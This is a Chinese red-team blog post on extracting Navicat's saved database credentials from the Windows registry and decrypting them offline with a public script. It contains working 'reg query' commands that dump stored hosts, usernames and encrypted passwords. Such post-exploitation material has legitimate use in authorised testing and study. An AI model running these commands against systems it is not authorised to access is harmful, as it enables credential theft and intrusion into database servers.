无心的梦呓 · 2019年10月26日

离线破解Navicat密码

目录

0x01 介绍

0x02 提取密码

0x03 离线破解

注:文中使用的是Navicat Premium 12.x,Navicat 11.x与12.x的加密方式有一些不同,实际上按照11.x的方式解密就可以了

0x01 介绍

Navicat是一套快速、可靠并价格相当便宜的数据库管理工具,专为简化数据库的管理及降低系统管理成本而设。它的设计符合数据库管理员、开发人员及中小企业的需要。Navicat 是以直觉化的图形用户界面而建的,让你可以以安全并且简单的方式创建、组织、访问并共用信息。

balabala,反正是挺常用的一个数据库连接工具了,如果在实际环境中碰到了,那将是一大幸事,里面肯定会保存着很多服务器数据库的连接密码,这个时候如何将其提取出来就是一个至关重要的事情了

0x02 提取密码

首先需要明确一下,Navicat针对不同的数据库,它所存放的地点是不一样的

MySQL            HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ 
MariaDB          HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\ 
MicrosoftSQL     HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\ 
Oracle           HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\ 
PostgreSQL       HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\ 
SQLite           HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\

这里还是拿MySQL进行举例吧

我们先在注册表中访问一下

file

既然是在注册表中,我们直接导出其内容就可以了

IP     reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v host
用户名  reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v UserName
密码    reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers /s /v pwd

file

同理也可以提取其他数据库的IP、账号和密码hash

当拿到这些内容的时候,我们接下来就是进行离线破解

0x03 离线破解

至于如何逆向navicat保存密码的加密算法,作者已经写的很清楚了,有兴趣的可以自己去看看

https://github.com/DoubleLabyrinth/how-does-navicat-encrypt-password

我们直接拿来使用就行了,我们使用其中的python3脚本

首先先安装依赖pycryptodome

用法作者也已经给出了

file

file

可以看到已经成功解密出数据库的密码了,至于之后的提权等内容之后再慢慢说。

文章首发公众号:无心的梦呓(wuxinmengyi)

这是一个记录红队学习、信安笔记,个人成长的公众号

扫码关注即可

file

推荐阅读
目录
极术微信服务号
关注极术微信号
实时接收点赞提醒和评论通知
安谋科技学堂公众号
关注安谋科技学堂
实时获取安谋科技及 Arm 教学资源
安谋科技招聘公众号
关注安谋科技招聘
实时获取安谋科技中国职位信息